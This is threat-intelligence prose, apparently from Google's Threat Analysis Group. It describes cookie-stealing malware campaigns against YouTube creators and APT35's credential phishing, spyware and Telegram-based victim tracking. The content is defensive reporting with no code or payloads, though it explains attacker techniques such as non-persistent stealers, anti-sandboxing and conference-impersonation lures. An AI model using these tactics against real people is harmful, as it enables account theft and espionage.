In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.


The phishing typically started with a customized email introducing the company and its products.


Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.


Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.


The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.


To date, we’ve identified at least 1,011 domains created solely for this purpose.


Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.


During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”


In one case, we observed a fake social media page copying content from an existing software company.


The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.


Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.


Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.


Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.


This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.


We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.


Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.


Open source malware like Sorano and AdamantiumThief were also observed.


Related hashes are listed in the Technical Details section, at the end of this report.


Most of the observed malware was capable of stealing both user passwords and cookies.


Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.


A few were observed displaying a fake error message requiring user click-through to continue execution.


A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.


The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.


The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.


On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.


These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.


We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.


Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.


Our recommendations: Additional resources: Avoid & Report Phishing Emails.


Related Malware hashes: Top Phishing Domains:


Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.


We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.


So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.


This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.


We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.


On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.


This means that there is typically more than one threat actor behind the warnings.


In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.


This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.


For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.


In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.


Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.


Users were instructed to activate an invitation to a (fake) webinar by logging in.


The phishing kit will also ask for second-factor authentication codes sent to devices.


APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.


Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.


In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.


The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.


Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.


Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.


One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.


Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.


When they did, attackers sent them phishing links in follow-on correspondence.


Targets typically had to navigate through at least one redirect before landing on a phishing domain.


Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.


We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.


Services from Dropbox and Microsoft are also abused.


One of APT35’s novel techniques involves using Telegram for operator notifications.


The attackers embed javascript into phishing pages that notify them when the page has been loaded.


To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.


The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.


We reported the bot to Telegram and they have taken action to remove it.


We warn users when we suspect a government-backed threat like APT35 is targeting them.


Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.


If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.


Workspace administrators are also notified regarding targeted accounts in their domain.